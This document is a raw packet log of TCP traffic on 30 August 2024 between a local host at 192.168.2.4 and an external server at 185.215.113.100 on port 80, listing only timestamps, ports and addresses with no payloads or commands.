Aug 30, 2024 18:18:07.140773058 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.140840054 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.140846968 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.140857935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.140868902 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.140871048 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.140880108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.140896082 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.140923023 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141035080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141046047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141055107 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141064882 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141071081 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141094923 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141113997 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141251087 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141262054 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141272068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141282082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141295910 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141318083 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141407967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141419888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141449928 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141474009 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141525984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141536951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141546965 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141556978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141567945 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141568899 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141577959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141588926 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141607046 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141624928 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141839027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141849995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141860008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141870022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141885042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.141891956 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141907930 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.141927958 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.142036915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.142049074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.142086983 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.142119884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.142131090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.142155886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.142174006 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.142256975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.142267942 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.142277002 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.142287016 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.142297029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.142311096 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.142338037 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.142867088 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.142915010 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.142939091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.142955065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.142980099 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.143002987 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.143057108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143071890 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143083096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143094063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143102884 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.143130064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.143147945 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.143291950 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143301964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143311977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143321037 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143331051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143341064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.143341064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143352032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143362045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143367052 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.143384933 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.143404961 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.143838882 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143886089 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.143909931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143923044 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.143948078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.143965960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.144040108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144051075 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144059896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144071102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144087076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.144109964 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.144234896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144246101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144277096 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.144361019 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144371033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144381046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144391060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144399881 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144408941 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.144432068 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.144587040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144597054 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144607067 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144624949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144634008 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.144634962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144645929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144654036 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.144659042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144669056 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.144675016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.144702911 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.184072018 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.188843012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428386927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428406000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428416014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428452969 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.428467035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428478956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428479910 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.428508997 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.428572893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428582907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428594112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428611994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.428627968 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.428726912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428736925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428759098 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.428776979 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.428886890 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428899050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428910017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428920031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428929090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428934097 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.428940058 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.428967953 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.428986073 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429166079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429184914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429199934 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429203033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429212093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429219961 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429222107 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429233074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429240942 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429241896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429254055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429264069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429265022 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429276943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429303885 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429316998 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429560900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429598093 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429750919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429760933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429770947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429780960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429790020 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429790974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429800987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429810047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429820061 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429822922 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429831028 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429846048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429848909 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429857016 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429862976 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429867983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.429891109 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.429915905 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.430341959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430352926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430362940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430372000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430377960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.430382013 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430399895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430408955 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.430411100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430419922 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430423975 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.430430889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430439949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430450916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430450916 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.430460930 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430476904 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.430494070 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.430819988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430830956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430840969 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430941105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430953026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430967093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430969954 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.430969954 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.430977106 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430988073 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.430999041 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431008101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431010008 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.431010008 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.431019068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431027889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431032896 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.431037903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431049109 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431052923 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.431072950 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.431087017 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.431730032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431771994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.431785107 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431796074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431819916 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.431838036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431843996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.431849003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431871891 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.431890011 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.431957960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431967974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431978941 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.431998968 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432014942 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432084084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432094097 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432121038 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432145119 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432147980 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432159901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432182074 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432197094 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432312012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432323933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432332993 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432343960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432353973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432358027 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432384968 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432529926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432539940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432549000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432559967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432575941 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432595968 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432719946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432730913 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432739973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432750940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432756901 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432775021 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432804108 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.432976007 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432986021 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.432996035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433006048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433016062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433021069 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.433027029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433037043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433046103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433048964 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.433058023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433064938 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.433082104 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.433105946 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.433557987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433568001 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433578014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433588028 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433594942 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.433598042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433608055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433618069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433621883 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.433633089 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433636904 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.433645010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433655024 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433655024 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.433665037 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433675051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433681965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.433684111 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433693886 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433710098 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.433712006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.433727026 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.433743000 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.434159994 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.434170008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.434187889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.434194088 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.434210062 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.434226990 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.515932083 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.515954018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.515964985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.515990973 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.516014099 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.516100883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516110897 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516120911 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516132116 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516139984 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.516141891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516163111 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.516186953 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.516311884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516351938 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.516442060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516453028 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516462088 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516473055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516479969 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.516493082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516509056 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.516530037 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.516647100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516657114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.516666889 CEST	80	49730	185.215.113.100	192.168.2.4
